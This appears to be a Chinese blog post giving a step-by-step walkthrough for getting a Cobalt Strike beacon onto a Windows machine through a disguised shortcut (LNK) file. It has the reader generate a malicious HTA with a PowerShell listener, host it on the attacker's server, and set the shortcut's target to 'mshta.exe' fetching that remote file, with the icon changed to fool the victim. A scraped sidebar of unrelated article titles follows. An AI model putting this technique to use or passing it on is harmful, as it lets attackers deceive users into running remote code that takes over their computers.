当前位置:网站首页>利用快捷方式-LNK-上线CS
利用快捷方式-LNK-上线CS
2022-07-06 06:24:00 【zxl2605】
步骤:
1、生成:Attacks -> Packages -> Html Application
2、上传:Attacks——>Web Drive by——>Host file
3、执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
4、伪装:
-创建快捷方式
-生成HTA并上传
-属性更改目标执行
-属性更改图标伪装
这里会用到windows中的mshta,用于执行hta文件
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件
下面进行演示
打开已经配置好的CS
1、生成:Attacks -> Packages -> Html Application
选择设置的监听器-power shell
生成evil.hta
2、上传:Attacks——>Web Drive by——>Host file
复制生成的利用文件网址
3.创建快捷方式
4.执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
5.伪装(自行拓展,不做演示)
-创建快捷方式
-生成HTA并上传
-属性更改目标执行
-属性更改图标伪装(自行扩展)
点击快捷方式-快捷方式成功上线
边栏推荐
- Avtiviti创建表时报错:Error getting a new connection. Cause: org.apache.commons.dbcp.SQLNestedException
- 模拟卷Leetcode【普通】1219. 黄金矿工
- Black cat takes you to learn UFS protocol Chapter 18: how UFS configures logical units (Lu Management)
- Lecture 8: 1602 LCD (Guo Tianxiang)
- 生物医学英文合同翻译,关于词汇翻译的特点
- Delete the variables added to watch1 in keil MDK
- LeetCode 729. My schedule I
- Convert the array selected by El tree into an array object
- sourceInsight中文乱码
- The pit encountered by keil over the years
猜你喜欢
LeetCode 732. My schedule III
JMeter做接口测试,如何提取登录Cookie
Selenium source code read through · 9 | desiredcapabilities class analysis
Database - current read and snapshot read
E - food chain
Address bar parameter transmission of list page based on jeecg-boot
Digital triangle model acwing 1015 Picking flowers
selenium源码通读·9 |DesiredCapabilities类分析
F - True Liars (种类并查集+DP)
[Tera term] black cat takes you to learn TTL script -- serial port automation skill in embedded development
随机推荐
Construction and integration of Zipkin and sleuth for call chain monitoring
翻译公司证件盖章的价格是多少
私人云盘部署
云服务器 AccessKey 密钥泄露利用
Error getting a new connection Cause: org. apache. commons. dbcp. SQLNestedException
[no app push general test plan
G - Supermarket
win10无法操作(删除、剪切)文件
Convert the array selected by El tree into an array object
org. activiti. bpmn. exceptions. XMLException: cvc-complex-type. 2.4. a: Invalid content beginning with element 'outgoing' was found
Database isolation level
Summary of leetcode's dynamic programming 4
Testing of web interface elements
模拟卷Leetcode【普通】1296. 划分数组为连续数字的集合
模拟卷Leetcode【普通】1091. 二进制矩阵中的最短路径
E - food chain
Left matching principle of joint index
还在为如何编写Web自动化测试用例而烦恼嘛?资深测试工程师手把手教你Selenium 测试用例编写
[C language] qsort function
Set the print page style by modifying style